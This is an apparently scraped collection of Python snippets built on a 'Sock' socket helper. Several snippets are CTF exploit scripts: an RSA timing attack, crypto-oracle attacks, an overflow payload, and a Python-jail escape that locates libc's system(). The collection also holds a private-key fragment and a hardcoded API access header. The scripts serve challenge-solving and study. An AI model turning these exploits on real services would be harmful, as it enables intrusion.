コード例 #1
0
 def test_http(self):
     for host in self.HTTP_HOSTS:
         f = Sock(host, 80)
         f.send("GET / HTTP/1.1\r\n\r\n")
         line = f.read_line().decode()
         self.assertTrue(line.startswith("HTTP/1.1 "))
         f.close()
コード例 #2
0
 def listen(self,
            handler=lambda sock: None,
            backlog=5,
            verify_join=True,
            verbose=True,
            **kwargs):
     """Listen for new client trying to connect and accept them.
     The handler argument is a callable that the first argument it takes is the socket of the accepted clients.
     Other arguments can be passed through kwargs.
     The default value of handler does nothing.
     The backlog argument specifies the maximum number of queued connections and should be at least 0;
     the maximum value is system-dependent (usually 5), the minimum value is forced to 0.
     The verify_join argument specifies whether the function should
     join all client threads once the server is closed or not."""
     self._keep_listening = True
     client_threads = []
     sock = Sock()
     sock.bind((self.ip, self.port))
     sock.listen(backlog)
     while self._keep_listening:
         client_sock, client_addr = sock.accept()
         Server.connect(client_sock)
         _printif(verbose, "Connected to client @ %s" % client_addr[0])
         client = threading.Thread(target=handler,
                                   args=(client_sock, ),
                                   kwargs=kwargs)
         client_threads.append(client)
         client.start()
     if verify_join:
         Server.join(timeout=None, *client_threads)
     self._keep_listening = False
コード例 #3
0
def decryptTime(bignum):
    global f
    try:
        f.send(pack("<I", 0x41424344))
        f.send(chr(0x80 | 0x01))

        p = "".join(pack("<I", c) for c in bignum2ints(bignum))
        assert len(p) == 0x60
        f.send(p)

        buf = "WWWWXXXXYYYYZZZZ"
        f.send(chr(len(buf)))
        f.send(buf)

        b = f.read_nbytes(16)
        assert b[12:] == "\x02\x00\xff\x00", b.encode("hex")
        vals = unpack("<3I", b[:12])
        # vals[0] - some rdtsc difference
        # vals[1] - leaked number of reductions
        # vals[2] - some rdtsc difference
        return vals[1]
    except EOFError:
        print "EOF, retry"
        f = Sock(addr)
        return decryptTime(bignum)
コード例 #4
0
ファイル: editwindow.py プロジェクト: ddkddown/py_client
 def funcSave(self):
     str1 = self.textEdit.get(1.0, tk.END)
     connect = Sock()
     if len(str1) >= 512:
         while len(str1) >= 512:
             str2 = str1[0:512]
             str1 = str1[512:]
             connect.load_message(
                 Message(type='2',
                         is_end='6',
                         user_name=self.username,
                         head='ddktest',
                         content=str2))
             connect.send_message(wait=False)
     else:
         connect.load_message(
             Message(type='2',
                     is_end='6',
                     user_name=self.username,
                     head='ddktest',
                     content=str1))
         connect.send_message(wait=False)
     str2 = ''
     connect.load_message(
         Message(type='2',
                 is_end='5',
                 user_name=self.username,
                 head='ddktest',
                 content=str2))
     if connect.send_message():
         self.__logger.somewhere_info("send message success")
     else:
         self.__logger.somewhere_warning("send message failed!")
コード例 #5
0
 def capturandoDados(self):
     self.ip = self.entradaip.get()
     self.porta = int(self.entradaporta.get())
     self.sock = Sock(self.ip , self.porta)
     self.sock.enviar("entrou na sala")
     self.sock.start()
     self.t1 = Thread(name='Atualizar lista', target=self.atualizarLista)
     self.t1.start()
コード例 #6
0
def monitor(queue):
    TIME = 10
    FUTURE = 0
    URL = 'https://tmsbackend.herokuapp.com/traffic/'
    headers = {
        'Content-Type': 'application/json',
        'X-Access-Id': '5d454a854fd9612631343699'
    }
    conn = Sock()
    conn.connect()
    conn.send("ON;TWO")
    conn.disconnect()
    watch = Watcher()
    while True:
        try:
            end = time() + TIME + FUTURE
            while time() <= end:
                traffic = queue.get()
                watch.update(traffic)
            avg, award, FUTURE, active = watch.getStatus()

            payload = {
                'density': (avg['1a'][1]+avg['2a'][1])/2,
                'count': int((avg['1a'][0]+avg['2a'][0])/2)
            }
            r = requests.put(URL, json=payload, headers=headers)

            print("Changing status")
            print(avg)
            print("Award {} of {} against {}".format(award, FUTURE, active))
            print("API response: ", r.content)
            conn = Sock()
            conn.connect()
            if active[0] == '2a':
                conn.send("ON;TWO")
            else:
                conn.send("ON;ONE")
            conn.disconnect()
        except Exception as e:
            print(e)
            pass
コード例 #7
0
def connect():
    f = Sock("127.0.0.1", 2223)
    f.read_until("21 bytes, starting with ")
    prefix = f.read_nbytes(16)
    #print prefix
    prefix += "A"
    i = 0
    while True:
        ha = sha1()
        ha.update(prefix + pack("I", i))
        if (ha.digest()[-3:] == "\xff\xff\xff"):
            print "CDIGEST %s" % ha.hexdigest()
            break
        if i % 1048576 == 0:
            print i
        i += 1
    f.send(prefix + pack("I", i))
    return f
コード例 #8
0
ファイル: led.py プロジェクト: codedump00/pi-socket-server
from sock import Sock

while True:
    data = input("Enter the command please: \n")
    conn = Sock(ip="192.168.43.144")
    conn.connect()
    conn.send(data)
    conn.disconnect()
    print("Sent data: ", data)
コード例 #9
0
from sock import Sock

so = Sock('05.cr.yp.toc.tf:14010')

so.read_until(b'[Q]uit\n')
so.send_line(b'g')
n, f, v = so.read_line().strip().split(b' ')[-3:]
n, f, v = int(n[1:-1]), int(f[:-1]), int(v[:-1])

so.read_until(b'[Q]uit\n')
so.send_line(b't')
so.read_line()
so.send_line(b'15')
print(so.read_line())

so.read_until(b'[Q]uit\n')
so.send_line(b't')
so.read_line()
so.send_line(str(-15 + n**2).encode())
print(so.read_line())

so.read_until(b'[Q]uit\n')
so.send_line(b'r')
so.read_line()
so.send_line(b'15,' + str(-15 + n**2).encode())
print(so.read_line())
so.close()
コード例 #10
0
ファイル: hell_solve.py プロジェクト: maojui/writeups
        num += bconserves_t(b, s, t)
    return num == len(s)


def bexact(b, key):
    for t in xrange(16):
        if key[t] % b != (1 - t) % b:
            return False
    return True


def randvec():
    return [random.randint(0, 31) for _ in xrange(16)]


f = Sock("202.120.7.220 1234")

# pow
# sha256(XXXX+JyZoJLkhS8Jhsoxi) == 6387c59e693c59880ff6458c048a089aac925573cd27d61dcce6e4049dac084d
# Give me XXXX:
alpha = string.ascii_letters + string.digits
suff, target = f.read_until_re(r"XXXX\+(\w+)\) == (\w{64})").groups()
print suff, target
for p in product(alpha, repeat=4):
    p = "".join(p)
    if sha256(p + suff).hexdigest() == target:
        break
else:
    print "FAIL"
    quit()
print p
コード例 #11
0
class Client(TCP):
    """An object that makes it easier to use the protocol to communicate with the server."""
    def __init__(self, (ip, port)):
        """(ip, port) is the ip and port combination you would pass to socket.bind.."""
        self.sock = Sock()
        super(Client, self).__init__((ip, port))
コード例 #12
0
#!/usr/bin/python
import sys, time, os
from multiprocessing import Process, Queue
from sklearn.externals import joblib
from sklearn.tree import DecisionTreeClassifier
from datetime import datetime
from storage import Storage
from sock import Sock

from config import config

sock = Sock({
    "port_in": config['detector_1']['port'],
    "port_out": config['detector_2']['port'],
    "ip_in": config['detector_1']['ip'],
    "ip_out": config['detector_1']['ip']
})

storage = Storage(config["database"])

ATTACK_THRESHOLD = 2
attack_count = 0

model = None


# auto loading fresh model
def get_model():
    global model
    if not os.path.isfile(config['teacher']['lock_filename']):
        model = joblib.load("models_binary/all.pkl")
コード例 #13
0
from sock import Sock
import random
import gmpy2
from Crypto.Util.number import inverse, long_to_bytes

def gcd(a, b):
	while b:
		a, b = b, a % b
	return a

while True:
	so = Sock('04.cr.yp.toc.tf:38010')

	ct = [random.getrandbits(2000) for _ in range(2)]
	pt = []

	for i in range(2):
		so.read_until(b'[Q]uit\n')
		so.send_line(b'd')
		so.read_line()
		so.send_line(str(ct[i]).encode())
		pt.append(int(so.read_line().strip().split(b' ')[-1]))

	'''
	for i in range(2):
		so.read_until(b'[Q]uit\n')
		so.send_line(b'e')
		so.read_line()
		so.send_line(str(pt[i]).encode())
		assert int(so.read_line().strip().split(b' ')[-1]) in ct
	'''
コード例 #14
0
from sock import Sock
from tqdm import tqdm
from itertools import product
from Crypto.Cipher import AES

so = Sock('01.cr.yp.toc.tf:17010')


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


so.read_until(b'[Q]uit\n')
so.send_line(b'g')

flag = so.read_line().strip().split(b' ')[-1]
flag = bytes.fromhex(flag.decode())

pt = [b'a' * 16 + b'b' * 16, b'a' * 16 + b'c' * 16]
ct = []
i = 0
while len(ct) < 2:
    so.read_until(b'[Q]uit\n')
    so.send_line(b't')
    so.read_line()
    so.send_line(pt[i])

    enc = so.read_line().strip().split(b' ')[-1]
    key = so.read_line().strip().split(b' ')[-1][:-4]
    print(key)
    if enc.index(b'*') < 3:
コード例 #15
0
ファイル: test.py プロジェクト: gsdu8g9/ddos-14
#!/usr/bin/python
import json

from sock import Sock

sock = Sock({
    "port_out": 6350,
    "ip_out": "127.0.0.1",
})


def send_json(data):
    s = sock.socket_s()
    s.send(json.dumps(data))
    s.close()


if __name__ == "__main__":

    data = [
        {
            't': 'range',
            'ip': '1.1.1.1',
            'bad_ports': [1, 4],
            'good_ports': [1, 2, 3],
            'timeout': 1,
            'is_inner': True
        },  # close ports range on IP address
        {
            't': 'list',
            'ip': '1.2.1.1',
コード例 #16
0
from multiprocessing import Process, Queue
import datetime
import json

from decision_maker import DecisionMaker
from storage import Storage
from sock import Sock

from config import config

decision_maker = DecisionMaker(config['database'])


sock = Sock({
    "port_in": config['detector_2']['port'],
    "port_out": config['judge_service']['port'],
    "ip_in": config['detector_2']['ip'],
    "ip_out": config['judge_service']['ip']
})

# listening socket
def process_socket(q):
    r = sock.socket_r()
    while True:
        pkg = sock.get_package(r)
        #print pkg
        time1 = datetime.datetime.now()
        print 'received', time1
        q.put((pkg, time1))


# make decision by data
コード例 #17
0
    flag = 0
    if bit:
        x = (x * m0r)
        x, flag = redc(x)
    return x, flag


def mont_exp_one_round(x, m0r, bit):
    x, flag = mont_mul_cond(x, m0r, bit)
    x, flag = mont_square(x)
    return x, flag


## Challenge specific

f = Sock(addr)


def bignum2ints(n):
    res = []
    for i in xrange(0x18):
        res.append(n % 2**32)
        n >>= 32
    return res


def decryptTime(bignum):
    global f
    try:
        f.send(pack("<I", 0x41424344))
        f.send(chr(0x80 | 0x01))
コード例 #18
0
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from sage.all import *

from vw import *

from sock import Sock

f = Sock("beard-party.q.2019.volgactf.ru 7777")

while True:
    f.read_until("format):")
    f.read_line()

    pts = []
    block = []
    for i in xrange(2**8):
        pt = [V[i & 3](randint(0, 31)) for i in xrange(8)]
        pts.append(pt)
        msg = nums_to_str(pt)
        block.append(msg)
    block = "".join(block)
    block = "".join(block.encode("base64").split())

    f.send_line(block)

    res = f.read_until("Enter")
    res = res.decode("base64")
    assert len(res) % 10 == 0
    cts = [str_to_nums(res[i:i + 10]) for i in xrange(0, len(res) - 10, 10)]
    assert len(pts) == len(cts)
コード例 #19
0
import ast
from sock import Sock
from libnum import *

N = 172794691472052891606123026873804908828041669691609575879218839103312725575539274510146072314972595103514205266417760425399021924101213043476074946787797027000946594352073829975780001500365774553488470967261307428366461433441594196630494834260653022238045540839300190444686046016894356383749066966416917513737
E = 0x10001
sig_correct = 22611972523744021864587913335128267927131958989869436027132656215690137049354670157725347739806657939727131080334523442608301044203758495053729468914668456929675330095440863887793747492226635650004672037267053895026217814873840360359669071507380945368109861731705751166864109227011643600107409036145468092331
C = int(open("flag.enc").read())

f = Sock("crypto.chal.csaw.io 8002")
f.send_line("2")
f.read_until("no")


def sign(val):
    f.send_line("yes")
    f.send_line("%d" % val)
    sig, mod = map(int,
                   f.read_until_re(r"signature:(\d+), N:(\d+)\s").groups())
    assert mod == N
    return sig


try:
    bits, vals = ast.literal_eval(open("dump").read())
except:
    bits, vals = {}, []
vals = set(vals)

print len(bits), "known bits"
num = 2
コード例 #20
0
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, time, os, datetime, json
from multiprocessing import Process, Queue

from tinterval import TimeInterval
from firewall import Firewall
from sock import Sock

import config

sock = Sock({
    "port_in": config.config['firewall']['port'],
    "ip_in": config.config['firewall']['ip'],
})

firewall = Firewall()


# looking for dead rules by life_time in DB
def process_warden():

    # update tables by life_time
    fw = Firewall()
    removed = fw.refresh()

    if len(removed) > 0:
        print removed

    fw.close_connection()
コード例 #21
0
ファイル: animals.py プロジェクト: whb224117/rhme2_writeups
from sock import Sock
import hexdump
s = Sock('127.0.0.1', 1235)
s.read_until('>>')
s.send(('c' * 11) + '014c016b0300010000'.decode('hex') + '\r\n')
reply = s.read_until('>>')
print reply
コード例 #22
0
ファイル: doit2.py プロジェクト: kitctf/writeups-plaidctf15
	d15/Na/y8z5gf5Hfz+tSiJ0L+o7NOZ5D2tx+1eLJlM0oGLKduwpeffTCZl6oSBTfOxANB0Zuh87Q
	OLGX7+ScVGe3AJ4mj488BAHg/a7MOeuVJNUCXRMWs1CSrylXM+IbaRGIvFuyQvHAuhx9usMscgeH
	aaGBVTUp4RoGxMFwqOX+1g9EVV8Nua+AnAk5WfqUzxKmEo6t6lKb+csD4voaeKZZE7IeEKLHhdl0
	Bir/nMW/lQIBAAIBAAIBAAIBAAIBAA==
	-----END RSA PRIVATE KEY-----"""
    ]

    #print pub_enc.encrypt(4,None)
    pk = [str(key.__getstate__()[x]) for x in key.keydata[:-1]]
    pk_str = ",".join(pk)
    #crypto = pub_enc.encrypt(pk_str, None)
    #maxlen = (len(str(hex((_pub_enc.__getstate__())["n"])))-3)/2
    #print maxlen
    bla = ",".join(
        [pub_enc.encrypt(c).encode("hex") for c in chunks(pk_str, 64)])
    s = Sock("52.6.11.111", 4321)
    s.read_until("communications\n")
    s.send(bla)
    returnv = s.read_until("\n").split(" (")[1].split("), ")[0]

    f = dict(key.__getstate__())
    del f["x"]
    #print f
    assert str(f) == returnv
    print s.read_until("\n")
    print s.read_until("\n")
    print "..."
    while 1:
        line = s.read_until("\n").strip()
        print line
        if "shit" in line:
コード例 #23
0
ファイル: judge_service.py プロジェクト: gsdu8g9/ddos-14
#!/usr/bin/python
import sys, time, os
from multiprocessing import Process, Queue
import json

from sock import Sock

from config import config

sock = Sock({
    "port_in": config['judge_service']['port'],
    "port_out": config['firewall']['port'],
    "ip_in": config['judge_service']['ip'],
    "ip_out": config['firewall']['ip']
})


def process_socket(q):

    r = sock.socket_r()

    while True:
        pkg = sock.get_package(r)
        q.put(pkg)


from random import randint


def judge(data):
コード例 #24
0
ファイル: jailbreak.py プロジェクト: daoduythuan/ctfs
def get_str_addr_by_name(name):
    r = get_expr("().__class__.__bases__[0].__repr__(%s)" % name_to_expr(name))
    if "str object at " not in r:
        raise Exception()
    return int(r.split()[3][2:-1], 16) + PADDSTR


def get_tuple_addr_by_name(name):
    r = get_expr("().__class__.__bases__[0].__repr__(%s)" % name_to_expr(name))
    if "tuple object at " not in r:
        raise Exception()
    return int(r.split()[3][2:-1], 16) + PADDSTR


if 0:  # remote
    f = Sock("54.196.37.47 9990", timeout=9999)
    v_index = 102
    sys_off = 0x3ff80
else:
    f = Sock("127.0.0.1 9990", timeout=9999)
    v_index = 108
    sys_off = 0x463d0

PADDSTR = 36

f.read_one()

maps = read_file("/proc/self/maps")
line = re.findall(r"(.*?)-.*? /lib/x86_64-linux-gnu/libc-", maps)
libc = int(line[0], 16)
system = libc + sys_off